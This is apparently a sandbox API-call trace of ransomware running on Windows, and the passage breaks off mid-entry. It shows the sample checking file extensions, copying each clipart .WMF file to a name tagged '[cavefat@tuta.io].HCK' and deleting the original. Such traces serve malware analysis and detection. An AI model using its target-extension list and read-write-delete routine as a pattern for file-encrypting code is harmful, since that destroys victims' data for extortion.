lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString=".xls") returned 4 [0238.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.134] lstrlenW (lpString=".xlsx") returned 5 [0238.134] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0238.134] lstrlenW (lpString=".ppt") returned 4 [0238.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.135] lstrlenW (lpString=".zip") returned 4 [0238.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.135] lstrlenW (lpString=".rar") returned 4 [0238.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.135] lstrlenW (lpString=".bz2") returned 4 [0238.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.135] lstrlenW (lpString=".7z") returned 3 [0238.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.135] lstrlenW (lpString=".dbf") returned 4 [0238.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.135] lstrlenW (lpString=".1cd") returned 4 [0238.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.135] lstrlenW (lpString=".jpg") returned 4 [0238.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.135] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.135] lstrlenW (lpString="J0152884.WMF") returned 12 [0238.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.137] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=6956) returned 1 [0238.137] CloseHandle (hObject=0x55c) returned 1 [0238.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 0x220 [0238.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.137] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.137] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.138] GetLastError () returned 0x0 [0238.138] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1b2c, lpOverlapped=0x0) returned 1 [0238.140] WriteFile (in: hFile=0x564, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0238.141] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.141] WriteFile (in: hFile=0x564, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.141] SetEndOfFile (hFile=0x564) returned 1 [0238.141] CloseHandle (hObject=0x564) returned 1 [0238.141] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.141] SetEndOfFile (hFile=0x55c) returned 1 [0238.143] CloseHandle (hObject=0x55c) returned 1 [0238.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0238.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.145] lstrlenW (lpString=".doc") returned 4 [0238.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString=".docx") returned 5 [0238.145] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0238.145] lstrlenW (lpString=".pdf") returned 4 [0238.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString=".xls") returned 4 [0238.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.145] lstrlenW (lpString=".xlsx") returned 5 [0238.145] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0238.145] lstrlenW (lpString=".ppt") returned 4 [0238.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.145] lstrlenW (lpString=".zip") returned 4 [0238.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.145] lstrlenW (lpString=".rar") returned 4 [0238.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString=".bz2") returned 4 [0238.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString=".7z") returned 3 [0238.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.145] lstrlenW (lpString=".dbf") returned 4 [0238.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.145] lstrlenW (lpString=".1cd") returned 4 [0238.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString=".jpg") returned 4 [0238.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString=".doc") returned 4 [0238.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString=".docx") returned 5 [0238.146] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0238.146] lstrlenW (lpString=".pdf") returned 4 [0238.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString=".xls") returned 4 [0238.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.146] lstrlenW (lpString=".xlsx") returned 5 [0238.146] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0238.146] lstrlenW (lpString=".ppt") returned 4 [0238.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString=".zip") returned 4 [0238.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.146] lstrlenW (lpString=".rar") returned 4 [0238.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString=".bz2") returned 4 [0238.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString=".7z") returned 3 [0238.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString=".dbf") returned 4 [0238.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString=".1cd") returned 4 [0238.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68 [0238.146] lstrlenW (lpString=".jpg") returned 4 [0238.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.146] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.146] lstrlenW (lpString="J0152890.WMF") returned 12 [0238.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.147] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=1940) returned 1 [0238.147] CloseHandle (hObject=0x55c) returned 1 [0238.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220 [0238.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.148] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.148] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.149] GetLastError () returned 0x0 [0238.149] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x794, lpOverlapped=0x0) returned 1 [0238.150] WriteFile (in: hFile=0x564, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7a0, lpOverlapped=0x0) returned 1 [0238.151] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.151] WriteFile (in: hFile=0x564, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.151] SetEndOfFile (hFile=0x564) returned 1 [0238.151] CloseHandle (hObject=0x564) returned 1 [0238.152] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.152] SetEndOfFile (hFile=0x55c) returned 1 [0238.155] CloseHandle (hObject=0x55c) returned 1 [0238.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1 [0238.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.156] lstrlenW (lpString=".doc") returned 4 [0238.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.156] lstrlenW (lpString=".docx") returned 5 [0238.156] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0238.156] lstrlenW (lpString=".pdf") returned 4 [0238.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.156] lstrlenW (lpString=".xls") returned 4 [0238.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.157] lstrlenW (lpString=".xlsx") returned 5 [0238.157] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0238.157] lstrlenW (lpString=".ppt") returned 4 [0238.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString=".zip") returned 4 [0238.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.157] lstrlenW (lpString=".rar") returned 4 [0238.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString=".bz2") returned 4 [0238.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString=".7z") returned 3 [0238.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString=".dbf") returned 4 [0238.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString=".1cd") returned 4 [0238.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString=".jpg") returned 4 [0238.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString=".doc") returned 4 [0238.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString=".docx") returned 5 [0238.157] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0238.157] lstrlenW (lpString=".pdf") returned 4 [0238.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString=".xls") returned 4 [0238.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.157] lstrlenW (lpString=".xlsx") returned 5 [0238.157] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0238.157] lstrlenW (lpString=".ppt") returned 4 [0238.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.157] lstrlenW (lpString=".zip") returned 4 [0238.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.157] lstrlenW (lpString=".rar") returned 4 [0238.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.157] lstrlenW (lpString=".bz2") returned 4 [0238.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.158] lstrlenW (lpString=".7z") returned 3 [0238.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.158] lstrlenW (lpString=".dbf") returned 4 [0238.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.158] lstrlenW (lpString=".1cd") returned 4 [0238.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68 [0238.158] lstrlenW (lpString=".jpg") returned 4 [0238.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.158] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.158] lstrlenW (lpString="J0152892.WMF") returned 12 [0238.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.159] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10668) returned 1 [0238.159] CloseHandle (hObject=0x55c) returned 1 [0238.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220 [0238.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.160] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.160] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.504] GetLastError () returned 0x0 [0238.504] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x29ac, lpOverlapped=0x0) returned 1 [0238.526] WriteFile (in: hFile=0x454, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.528] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.528] WriteFile (in: hFile=0x454, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.528] SetEndOfFile (hFile=0x454) returned 1 [0238.528] CloseHandle (hObject=0x454) returned 1 [0238.528] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.528] SetEndOfFile (hFile=0x55c) returned 1 [0238.531] CloseHandle (hObject=0x55c) returned 1 [0238.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0238.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.532] lstrlenW (lpString=".doc") returned 4 [0238.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.532] lstrlenW (lpString=".docx") returned 5 [0238.532] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0238.532] lstrlenW (lpString=".pdf") returned 4 [0238.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.532] lstrlenW (lpString=".xls") returned 4 [0238.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.532] lstrlenW (lpString=".xlsx") returned 5 [0238.533] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0238.533] lstrlenW (lpString=".ppt") returned 4 [0238.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".zip") returned 4 [0238.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.533] lstrlenW (lpString=".rar") returned 4 [0238.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString=".bz2") returned 4 [0238.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString=".7z") returned 3 [0238.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".dbf") returned 4 [0238.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".1cd") returned 4 [0238.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".jpg") returned 4 [0238.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".doc") returned 4 [0238.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString=".docx") returned 5 [0238.533] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0238.533] lstrlenW (lpString=".pdf") returned 4 [0238.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString=".xls") returned 4 [0238.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.533] lstrlenW (lpString=".xlsx") returned 5 [0238.533] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0238.533] lstrlenW (lpString=".ppt") returned 4 [0238.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".zip") returned 4 [0238.533] 